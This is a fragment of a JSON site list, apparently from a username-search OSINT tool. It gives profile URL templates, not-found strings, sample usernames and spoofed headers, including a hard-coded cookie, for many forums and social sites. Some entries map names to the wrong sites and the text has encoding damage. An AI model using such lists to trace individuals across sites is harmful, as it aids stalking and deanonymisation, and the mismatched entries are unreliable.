Brands, Delivery, Deals & Doctors", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://weedmaps.com/brands/{}", + "urlMain": "https://weedmaps.com", + "usernameON": "adams", + "bad_site": "" + }, + "Weforum": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "World Economic Forum", + "errorMsg2": "404: Page cannot", + "errorTyp��": "message", + "url": "https://www.weforum.org/people/{}", + "urlMain": "https://www.weforum.org", + "usernameON": "adam-leismark", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "DNT": "1", + "Priority": "u=1", + "Connection": "keep-alive", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "Sec-GPC": "1", + "Cookie": "SUB=_2AkMQFRkHf8NxqwFRmf4WyW7haIt_ywnEieKmSejcJRMxHRl-yT9kqkpStRB6O5U36I0wj1ke-VrTHS_G3IfYEdZRb2jF", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "bad_site": "" + }, + "Wego_social": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://wego.social/{}", + "urlMain": "https://wego.social", + "usernameON": "CRHoman", + "bad_site": "" + }, + "Weld": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "<title>Сварочный Форум", + "errorTyp��": "message", + "url": "https://weld.in.ua/forum/member.php/?username={}", + "urlMain": "https://weld.in.ua", + "usernameON": "red", + "bad_site": "" + }, + "Wfts": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Ошибка: игрок не найден", + "errorMsg2": "Warface TrueSight | Профиль игрока не существует", + "errorMsg3": "не существует", + "errorTyp��": "message", + "url": "https://wfts.su/profile/{}", + "urlMain": "https://wfts.su/", + "usernameON": "%D0%9B%D0%90%D0%A0%D0%A0%D0%9830", + "bad_site": "" + }, + "Whitewaterguidebook": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.whitewaterguidebook.com/forums/users/{}/", + "urlMain": "https://www.whitewaterguidebook.com", + "usernameON": "justincarson", + "bad_site": "" + }, + "Whonix": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No results found.", + "errorMsg2": "| Cloudflare", + "errorMsg3": "search":"{\\"posts\\":[],\\"users\\":[],\\"categories", + "errorTyp��": "message", + "url": "https://forums.whonix.org/search?expanded=true&q=%40{}", + "urlMain": "https://forums.whonix.org/", + "usernameON": "red", + "bad_site": "" + }, + "Whyislam": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено", + "errorMsg2": "0 пользоват", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.whyislam.to/forum/memberlist.php?username={}", + "urlMain": "https://www.whyislam.to/", + "usernameON": "adam", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "DNT": "1", + "Priority": "u=1", + "Connection": "keep-alive", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "Sec-GPC": "1", + "Cookie": "SUB=_2AkMQFRkHf8NxqwFRmf4WyW7haIt_ywnEieKmSejcJRMxHRl-yT9kqkpStRB6O5U36I0wj1ke-VrTHS_G3IfYEdZRb2jF", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "bad_site": "" + }, + "Wickeditor": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.wickeditor.com/u/{}/summary", + "urlMain": "https://forum.wickeditor.com", + "usernameON": "jayanimatic", + "bad_site": "" + }, + "Wikidot": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "User does not exist.", + "errorMsg2": "Wikidot is not available in Russia", + "errorTyp��": "message", + "url": "http://www.wikidot.com/user:info/{}", + "urlMain": "http://www.wikidot.com/", + "usernameON": "blue", + "comments": "RUblock", + "bad_site": "" + }, + "Wikigrib": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "<title>Энциклопедия грибов «ВикиГриб»", + "errorMsg2": "pagetitle\">Ваша страница", + "errorTyp��": "message", + "url": "https://wikigrib.ru/author/{}/", + "urlMain": "https://wikigrib.ru", + "usernameON": "sergeym", + "bad_site": "" + }, + "Wikihow": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.wikihow.com/Author/{}", + "urlMain": "https://www.wikihow.com", + "usernameON": "Ikaika-Cox", + "bad_site": "" + }, + "Wikiloc": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.wikiloc.com/wikiloc/findPeople.do?name={}", + "urlMain": "https://www.wikiloc.com", + "usernameON": "LosK2delasKumbres", + "bad_site": "" + }, + "Wikimapia": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "", + "errorMsg2": "", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "http://wikimapia.org/user/tools/users_rating/?username={}", + "urlMain": "http://wikimapia.org", + "usernameON": "adam", + "bad_site": "" + }, + "Wikipedia": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "is not registered", + "errorMsg2": "Wikipedia does not have", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.wikipedia.org/wiki/User:{}", + "urlMain": "https://www.wikipedia.org/", + "usernameON": "Zanuda_petro", + "bad_site": "" + }, + "Wikipediocracy": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Sorry but you cannot use", + "errorMsg2": "No suitable matches were found.", + "errorMsg3": "Information", + "errorTyp��": "message", + "url": "https://wikipediocracy.com/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://wikipediocracy.com", + "usernameON": "Anroth", + "bad_site": "" + }, + "Wikiquote": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://ru.wikiquote.org/wiki/%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}", + "urlMain": "https://ru.wikiquote.org", + "usernameON": "Zwyciezca", + "bad_site": "" + }, + "Wikivoyage": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://ru.wikivoyage.org/wiki/%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}", + "urlMain": "https://ru.wikivoyage.org", + "usernameON": "Savh", + "bad_site": "" + }, + "Wiktionary": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://ru.wiktionary.org/w/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}&action=view", + "urlMain": "https://ru.wiktionary.org", + "usernameON": "Merdiginn", + "bad_site": "" + }, + "Wild-nature": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Наши авторы | Дикая природа в фотографиях и рассказах", + "errorMsg2": "Страница не найдена", + "errorTyp��": "message", + "url": "http://www.wild-nature.ru/users/{}", + "urlMain": "http://www.wild-nature.ru", + "usernameON": "lana75", + "bad_site": "" + }, + "Wimkin": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://wimkin.com/{}", + "urlMain": "https://wimkin.com", + "usernameON": "JRourke", + "bad_site": "" + }, + "Windows10forums": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://www.windows10forums.com/members/?username={}", + "urlMain": "https://www.windows10forums.com/", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Windowsforum": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "url": "https://windowsforum.com/members/?username={}", + "urlMain": "https://windowsforum.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Windy": { + "country": "🇨🇿", + "country_klas": "CZ", + "errorTyp��": "status_code", + "url": "https://community.windy.com/user/{}", + "urlMain": "https://windy.com/", + "usernameON": "blue", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Wineberserkers": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.wineberserkers.com/u/{}/summary", + "urlMain": "https://www.wineberserkers.com", + "usernameON": "ybarselah", + "bad_site": "" + }, + "Winnipegwatch": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "was not found.", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://winnipegwatch.websitetoolbox.com/search?keywords=&searchin=message&member={}&do=findposts&id=&replies=atleast&numreplies=0&daterange=0&custdatefrom=&custdateto=&sort=&order=desc&radio_showas=threads&btnSearch=Search&action=doSearch", + "urlMain": "https://winnipegwatch.websitetoolbox.com", + "usernameON": "Prevost12", + "comments": "cf", + "bad_site": 1 + }, + "Wireclub": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "response_url", + "url": "https://www.wireclub.com/users/{}", + "urlMain": "https://www.wireclub.com", + "usernameON": "adam", + "bad_site": "" + }, + "Wiscobourbon": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://wiscobourbon.com/forums/users/{}/", + "urlMain": "https://wiscobourbon.com", + "usernameON": "lbourbonlover123", + "bad_site": "" + }, + "Wishlistr": { + "country": "🇸🇪", + "country_klas": "SE", + "errorMsg": "robots\" content=\"noindex, nofollow", + "errorMsg2": "Page Not Found", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.wishlistr.com/profile/{}", + "urlMain": "https://www.wishlistr.com", + "usernameON": "adam", + "bad_site": "" + }, + "Witchnest": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Domain Error Page", + "errorMsg2": "Страница не найдена", + "errorMsg3": ";", + "errorTyp��": "message", + "url": "https://witchnest.ru/user/{}/", + "urlMain": "https://witchnest.ru", + "comments": "super", + "usernameON": "Polina", + "bad_site": "" + }, + "Wittyprofiles": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "It looks like you are looking for something that isn't here.", + "errorMsg2": "QT Media 404", + "errorTyp��": "message", + "url": "http://www.wittyprofiles.com/author/{}", + "urlMain": "http://www.wittyprofiles.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Wix": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://{}.wix.com", + "urlMain": "https://wix.com/", + "usernameON": "support", + "bad_site": "" + }, + "Wolpy": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "ItPage not found", + "errorMsg2": "doesn't exist", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://wolpy.com/{}", + "urlMain": "https://wolpy.com", + "usernameON": "FaustinFavreau", + "bad_site": "" + }, + "Wordart": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://wordart.com/gallery/user/{}", + "urlMain": "https://wordart.com", + "usernameON": "Jarmiviktoria", + "bad_site": "" + }, + "WordPress": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://{}.wordpress.com/", + "urlMain": "https://wordpress.com", + "usernameON": "blue", + "bad_site": "" + }, + "WordPressOrg": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://profiles.wordpress.org/{}/", + "urlMain": "https://wordpress.org/", + "usernameON": "blue", + "bad_site": "" + }, + "Worldofwarcraft_blizzard": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Error 404", + "errorMsg2": "WoW\n403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.excelworld.ru/index/8-0-{}", + "urlMain": "http://www.excelworld.ru", + "usernameON": "Mazila", + "bad_site": "" + }, + "Exo": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Користувача не знайдено", + "errorMsg2": "403 Forbidden", + "errorMsg3": "User not found", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://exo.at.ua/index/8-0-{}", + "urlMain": "https://exo.at.ua", + "usernameON": "lara007", + "bad_site": "" + }, + "Exploretalent": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "info-text\">", + "errorMsg2": "userNode\":{}},\"", + "errorMsg3": "undefined", + "errorTyp��": "message", + "url": "https://www.exploretalent.com/{}", + "urlMain": "https://www.exploretalent.com", + "usernameON": "klaus", + "bad_site": "" + }, + "EybooksTO": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 resultados", + "errorMsg2": "There were no results for your search", + "errorTyp��": "message", + "url": "https://eybooks.to/search/?q={}&quick=1&type=core_members", + "urlMain": "https://eybooks.to", + "usernameON": "invers0r", + "bad_site": 1 + }, + "EyeEm": { + "country": "🇩🇪", + "country_klas": "DE", + "errorMsg": "blue | EyeEm Photographer", + "errorMsg2": "Not Found (404)", + "errorTyp��": "message", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.eyeem.com/u/{}", + "urlMain": "https://www.eyeem.com/", + "usernameON": "blue", + "bad_site": "" + }, + "F-droid": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://forum.f-droid.org/u/{}/summary", + "urlMain": "https://forum.f-droid.org", + "usernameON": "tip", + "bad_site": "" + }, + "F3_cool": { + "country": "🇱🇻", + "country_klas": "LV", + "errorTyp��": "status_code", + "url": "https://f3.cool/{}/", + "urlMain": "https://f3.cool/", + "usernameON": "blue", + "bad_site": "" + }, + "F6s": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "404", + "errorMsg2": "We think you might", + "errorMsg3": "unavailable in your location", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.f6s.com/{}", + "urlMain": "https://www.f6s.com", + "usernameON": "adam", + "comments": "RUblock", + "bad_site": "" + }, + "F95zone": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://f95zone.to/members/?username={}", + "urlMain": "https://f95zone.to", + "usernameON": "retro", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "FA-Wiki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://wiki.fa100.ru/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}", + "urlMain": "http://wiki.fa100.ru", + "usernameON": "Anatolyk", + "comments": "Oplata", + "bad_site": "" + }, + "Fabswingers": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.fabswingers.com/profile/{}", + "urlMain": "https://www.fabswingers.com", + "usernameON": "adam", + "bad_site": "" + }, + "Facebook (деятельность запрещена в России)": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.facebook.com/{}/", + "urlMain": "https://www.facebook.com/", + "usernameON": "RED", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "comments": "ZAK_user", + "bad_site": "" + }, + "Facenama": { + "country": "🇮🇳", + "country_klas": "IN", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://facenama.com/{}", + "urlMain": "https://facenama.com/", + "usernameON": "blue", + "bad_site": 1 + }, + "Fadecloudmc": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://fadecloudmc.com/forums/members/?username={}", + "urlMain": "https://fadecloudmc.com", + "usernameON": "jordan", + "bad_site": 1, + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Fallout_reactor": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "https://fallout.reactor.cc/user/{}", + "urlMain": "https://fallout.reactor.cc", + "usernameON": "Xell108", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Fanacmilan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "NameBright - Domain Expired", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://fanacmilan.com/index/8-0-{}", + "urlMain": "http://fanacmilan.com", + "usernameON": "milanfan97", + "bad_site": 1 + }, + "Fandom": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.fandom.com/u/{}", + "urlMain": "https://www.fandom.com/", + "usernameON": "Jungypoo", + "bad_site": "" + }, + "FanficsLandia": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://fanficslandia.com/usuario/?username={}", + "urlMain": "https://fanficslandia.com", + "usernameON": "sensy", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Fanlore": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "http://fanlore.org/wiki/User:{}", + "urlMain": "http://fanlore.org", + "usernameON": "red", + "bad_site": "" + }, + "Fanpop": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.fanpop.com/fans/{}", + "urlMain": "https://www.fanpop.com/", + "usernameON": "blue", + "comments": "cf", + "bad_site": "" + }, + "Fansmetrics": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://fansmetrics.com/en/onlyfans/{}", + "urlMain": "https://fansmetrics.com", + "urlProbe": "https://subseeker.co/creators/{}", + "usernameON": "itsmoremia", + "bad_site": "" + }, + "Fantlab": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "не найдено ни одного посетителя", + "errorMsg2": "

    FantLab ru

    ", + "errorTyp��": "message", + "url": "https://fantlab.ru/usersclasspage1?usersearch={}", + "urlMain": "https://fantlab.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Faqusha": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://faqusha.ru/profile/{}/", + "urlMain": "https://faqusha.ru", + "usernameON": "typhoon", + "bad_site": "" + }, + "Fark": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Tastes like chicken.", + "errorMsg2": "FARK.com: User profiles: view", + "errorTyp��": "message", + "url": "https://www.fark.com/users/{}/", + "urlMain": "https://www.fark.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Farmerforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg2": "0 пользовате", + "errorMsg3": "Не найдено ни одного пользовател", + "errorTyp��": "message", + "url": "http://farmerforum.ru/memberlist.php?username={}", + "urlMain": "http://farmerforum.ru", + "usernameON": "Admin", + "bad_site": "" + }, + "Fashionindustrynetwork": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.fashionindustrynetwork.com/members/{}", + "urlMain": "https://www.fashionindustrynetwork.com", + "usernameON": "abitosera", + "comments": "bad", + "bad_site": 1 + }, + "Fatsecret": { + "country": "🇦🇺", + "country_klas": "AU", + "errorTyp��": "response_url", + "url": "https://www.fatsecret.com/member/{}", + "urlMain": "https://www.fatsecret.com", + "usernameON": "adam", + "bad_site": "" + }, + "Favera": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://favera.ru/{}", + "urlMain": "https://favera.ru", + "usernameON": "mayhem", + "bad_site": 1 + }, + "Fcdin": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "http://fcdin.com/forum/memberlist.php?username={}", + "urlMain": "http://fcdin.com", + "usernameON": "red", + "bad_site": "" + }, + "Fcenter": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://www1.fcenter.ru/fcconfa/search.php?keywords=&terms=all&author={}", + "urlMain": "http://www1.fcenter.ru", + "usernameON": "DmitryVT", + "bad_site": 1 + }, + "Fckarpaty": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Сторінку не знайдено", + "errorMsg2": "Сторінку не знайдено", + "errorMsg3": "User not found", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://fckarpaty.com.ua/index/8-0-{}", + "urlMain": "http://fckarpaty.com.ua", + "usernameON": "OlegGurin", + "comments": "bad", + "bad_site": 1 + }, + "Fclmnews": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "content=\"noindex, nofollow", + "errorMsg2": "please...", + "errorTyp��": "message", + "url": "https://fclmnews.ru/user/{}/", + "urlMain": "https://fclmnews.ru", + "usernameON": "stoker82", + "comments": "cf", + "bad_site": "" + }, + "Fcrubin": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "Форум болельщиков ФК Рубин", + "errorTyp��": "message", + "url": "https://www.fcrubin.ru/forum/member.php?username={}", + "urlMain": "https://www.fcrubin.ru", + "usernameON": "flet", + "bad_site": "" + }, + "Fcshakhter": { + "country": "🇧🇾", + "country_klas": "BY", + "errorMsg": ">Постов не найдено

    ", + "errorMsg2": "

    ", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://fcshakhter.by/forum.asp?limit_pocet=20&jmeno={}", + "urlMain": "https://fcshakhter.by", + "usernameON": "fdfds", + "bad_site": "" + }, + "Fedoraproject": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://ask.fedoraproject.org/u/{}/summary", + "urlMain": "https://ask.fedoraproject.org/", + "usernameON": "rbirkner", + "bad_site": "" + }, + "Fegatch": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://www.fegatch.com/users/{}/artworks/", + "urlMain": "http://www.fegatch.com/", + "usernameON": "margaret-veret", + "bad_site": 1 + }, + "Feisovet": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://feisovet.ru/%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D1%82%D0%B5%D0%BB%D0%B8/{}", + "urlMain": "https://feisovet.ru", + "usernameON": "RinaLesnicova", + "bad_site": "" + }, + "Femunity": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Page not found", + "errorMsg2": "content='noindex", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://femunity.org/forums/users/{}/", + "urlMain": "https://femunity.org", + "usernameON": "andrew99", + "ignore_status_code": true, + "bad_site": "" + }, + "Fiat-club": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Извините, такого пользователя не существует", + "errorMsg2": " :: ", + "errorTyp��": "message", + "url": "http://fiat-club.org.ua/forum/profile.php?mode=viewprofile&u={}", + "urlMain": "http://fiat-club.org.ua", + "usernameON": "CreAtoR", + "bad_site": "" + }, + "Ficwad": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://ficwad.com/a/{}/favorites/authors", + "urlMain": "https://ficwad.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Ficwriter": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Этот профиль либо больше не существует или не доступен.", + "errorMsg2": "Пользователи", + "errorTyp��": "message", + "url": "https://ficwriter.info/polzovateli/userprofile/{}.html", + "urlMain": "https://ficwriter.info", + "usernameON": "Zinaida", + "bad_site": "" + }, + "Filmow": { + "country": "🇵🇹", + "country_klas": "PT", + "errorTyp��": "status_code", + "url": "https://filmow.com/usuario/{}", + "urlMain": "https://filmow.com/", + "usernameON": "adam", + "comments": "cf", + "bad_site": "" + }, + "Filmwatch": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://filmwatch.com/user/home/{}", + "urlMain": "https://filmwatch.com", + "usernameON": "hazelamy", + "comments": "Oplata", + "bad_site": 1 + }, + "Filmweb": { + "country": "🇵🇱", + "country_klas": "PL", + "errorMsg": "lang=\"pl\">", + "errorTyp��": "message", + "url": "http://movie-club.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://movie-club.ru", + "usernameON": "apollion", + "bad_site": "" + }, + "Forum_mow-portal": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mow-portal.ru/index/8-0-{}", + "urlMain": "https://mow-portal.ru", + "usernameON": "alexeyeryomchenko", + "bad_site": "" + }, + "Forum_mozhaysk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mozhaysk.my1.ru/index/8-0-{}", + "urlMain": "https://mozhaysk.my1.ru", + "usernameON": "vilniy", + "bad_site": "" + }, + "Forum_mozilla-russia": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "По вашему запросу ничего не найдено", + "errorMsg2": "

    \n\n\n0", + "errorMsg3": "Виктор Николаевич", + "errorTyp��": "message", + "url": "https://www.uralfishing.ru/forum/profile.php?mode=viewprofile&u={}", + "urlMain": "https://www.uralfishing.ru", + "usernameON": "Mephisto", + "bad_site": "" + }, + "Uralrock": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "url": "https://uralrock.ru/forum/member.php?username={}", + "urlMain": "https://uralrock.ru", + "usernameON": "Cyxapb", + "comments": "RUblock", + "bad_site": "" + }, + "Urlebird": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://urlebird.com/user/{}/", + "urlMain": "https://urlebird.com", + "usernameON": "chikamaria4", + "comments": "zamedlenie", + "bad_site": "" + }, + "USA_life": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://usa.life/{}", + "urlMain": "https://usa.life", + "usernameON": "RinDavis", + "bad_site": "" + }, + "Users_ucrazy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://ucrazy.org/u/{}/", + "urlMain": "https://ucrazy.org", + "usernameON": "aptoc", + "bad_site": "" + }, + "Usersoft_ucoz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://usersoft.ucoz.ru/index/8-0-{}", + "urlMain": "https://usersoft.ucoz.ru", + "usernameON": "SRabdrashirup", + "bad_site": "" + }, + "Uvelir": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://uvelir.net/member.php?username={}", + "urlMain": "https://uvelir.net/", + "usernameON": "red", + "comments": "Oplata", + "bad_site": "" + }, + "Uwr1": { + "country": "🇩🇪", + "country_klas": "DE", + "errorTyp��": "status_code", + "url": "http://uwr1.de/forum/profile/{}", + "urlMain": "http://uwr1.de", + "usernameON": "adam", + "comments": "bad", + "bad_site": "" + }, + "Uzhforum": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Користувач не зареєстрований і не має профілю, який можна переглянути.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.uzhforum.com/member.php?username={}", + "urlMain": "http://www.uzhforum.com", + "usernameON": "kirpicik", + "comments": "old", + "bad_site": 1 + }, + "Valday": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Личные данные пользователя ", + "errorMsg2": "gen\"> ", + "errorMsg3": "UnMask", + "errorTyp��": "message", + "url": "https://valday.com/forum/profile.php?mode=viewprofile&u={}", + "urlMain": "https://valday.com", + "usernameON": "Azs", + "bad_site": "" + }, + "Vamber": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://vamber.ru/author/{}/", + "urlMain": "https://vamber.ru", + "usernameON": "irina", + "bad_site": "" + }, + "Vampirerave": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.vampirerave.com/profiles/profiles2.php?profile={}", + "urlMain": "https://www.vampirerave.com", + "usernameON": "EternalXRage", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Vas3k": { + "country": 